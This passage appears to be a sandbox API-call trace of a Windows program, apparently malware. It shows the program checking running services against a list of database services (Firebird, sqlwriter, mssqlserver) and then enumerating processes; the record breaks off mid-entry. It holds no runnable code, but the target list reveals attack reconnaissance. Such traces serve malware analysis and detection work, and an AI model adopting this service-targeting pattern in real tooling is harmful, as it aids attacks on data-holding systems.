[0299.430] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0299.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0299.430] lstrlenW (lpString="LanmanServer") returned 12 [0299.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0299.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0299.430] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0299.430] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0299.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0299.431] lstrlenW (lpString="LanmanWorkstation") returned 17 [0299.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0299.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0299.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0299.431] lstrlenW (lpString="lfsvc") returned 5 [0299.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0299.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0299.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0299.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0299.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0299.431] lstrlenW (lpString="lmhosts") returned 7 [0299.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0299.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0299.431] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0299.431] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0299.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0299.431] lstrlenW (lpString="LSM") returned 3 [0299.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0299.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0299.431] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0299.431] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0299.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0299.431] lstrlenW (lpString="MapsBroker") returned 10 [0299.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0299.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0299.431] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0299.431] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0299.432] lstrlenW (lpString="MpsSvc") returned 6 [0299.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0299.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0299.432] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0299.432] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0299.432] lstrlenW (lpString="NcbService") returned 10 [0299.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0299.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0299.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0299.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0299.432] lstrlenW (lpString="netprofm") returned 8 [0299.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0299.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0299.432] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0299.432] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0299.432] lstrlenW (lpString="NgcSvc") returned 6 [0299.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0299.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0299.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0299.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0299.432] lstrlenW (lpString="NlaSvc") returned 6 [0299.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0299.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0299.432] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0299.432] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0299.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0299.433] lstrlenW (lpString="nsi") returned 3 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0299.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0299.433] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0299.433] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0299.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0299.433] lstrlenW (lpString="PcaSvc") returned 6 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0299.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0299.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0299.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0299.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0299.433] lstrlenW (lpString="PlugPlay") returned 8 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0299.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0299.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0299.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0299.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0299.433] lstrlenW (lpString="Power") returned 5 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0299.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0299.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0299.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0299.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0299.433] lstrlenW (lpString="ProfSvc") returned 7 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0299.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0299.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0299.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0299.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0299.433] lstrlenW (lpString="RpcEptMapper") returned 12 [0299.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0299.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0299.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0299.434] lstrlenW (lpString="RpcSs") returned 5 [0299.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0299.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0299.463] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0299.463] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0299.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0299.463] lstrlenW (lpString="SamSs") returned 5 [0299.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0299.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0299.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0299.464] lstrlenW (lpString="Schedule") returned 8 [0299.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0299.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0299.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0299.464] lstrlenW (lpString="SecurityHealthService") returned 21 [0299.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0299.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0299.464] lstrlenW (lpString="SENS") returned 4 [0299.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0299.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0299.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0299.464] lstrlenW (lpString="ShellHWDetection") returned 16 [0299.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0299.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0299.464] lstrlenW (lpString="Spooler") returned 7 [0299.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0299.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0299.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0299.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0299.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0299.465] lstrlenW (lpString="SSDPSRV") returned 7 [0299.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0299.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0299.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0299.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0299.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0299.465] lstrlenW (lpString="StateRepository") returned 15 [0299.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0299.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0299.465] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0299.465] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0299.465] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x460ee90 | out: hHeap=0x6e0000) returned 1 [0299.465] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x52c [0299.468] Process32FirstW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.468] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0299.469] lstrlenW (lpString="System") returned 6 [0299.469] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0299.470] lstrlenW (lpString="smss.exe") returned 8 [0299.470] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.527] lstrlenW (lpString="csrss.exe") returned 9 [0299.527] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0299.527] lstrlenW (lpString="wininit.exe") returned 11 [0299.527] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.528] lstrlenW (lpString="csrss.exe") returned 9 [0299.528] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0299.529] lstrlenW (lpString="winlogon.exe") returned 12 [0299.529] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0299.529] lstrlenW (lpString="services.exe") returned 12 [0299.529] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0299.530] lstrlenW (lpString="lsass.exe") returned 9 [0299.530] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.531] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.531] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.532] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.532] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.532] lstrlenW (lpString="svchost.exe") returned 11 [0299.532] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.533] lstrlenW (lpString="svchost.exe") returned 11 [0299.533] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0299.534] lstrlenW (lpString="dwm.exe") returned 7 [0299.534] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.534] lstrlenW (lpString="svchost.exe") returned 11 [0299.534] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.535] lstrlenW (lpString="svchost.exe") returned 11 [0299.535] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.536] lstrlenW (lpString="svchost.exe") returned 11 [0299.536] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.536] lstrlenW (lpString="svchost.exe") returned 11 [0299.536] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.537] lstrlenW (lpString="svchost.exe") returned 11 [0299.537] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.538] lstrlenW (lpString="svchost.exe") returned 11 [0299.538] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.538] lstrlenW (lpString="svchost.exe") returned 11 [0299.539] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.539] lstrlenW (lpString="svchost.exe") returned 11 [0299.539] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.540] lstrlenW (lpString="svchost.exe") returned 11 [0299.540] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.541] lstrlenW (lpString="svchost.exe") returned 11 [0299.541] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0299.541] lstrlenW (lpString="spoolsv.exe") returned 11 [0299.541] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0299.542] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0299.542] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0299.543] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0299.543] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0299.543] lstrlenW (lpString="Memory Compression") returned 18 [0299.543] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.544] lstrlenW (lpString="svchost.exe") returned 11 [0299.544] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0299.545] lstrlenW (lpString="audiodg.exe") returned 11 [0299.545] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0299.545] lstrlenW (lpString="sihost.exe") returned 10 [0299.546] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.546] lstrlenW (lpString="svchost.exe") returned 11 [0299.546] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0299.547] lstrlenW (lpString="taskhostw.exe") returned 13 [0299.547] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0299.548] lstrlenW (lpString="explorer.exe") returned 12 [0299.548] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0299.548] lstrlenW (lpString="SearchUI.exe") returned 12 [0299.548] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0299.625] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0299.625] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0299.626] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0299.626] Process32NextW (in: hSnapshot=0x52c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, 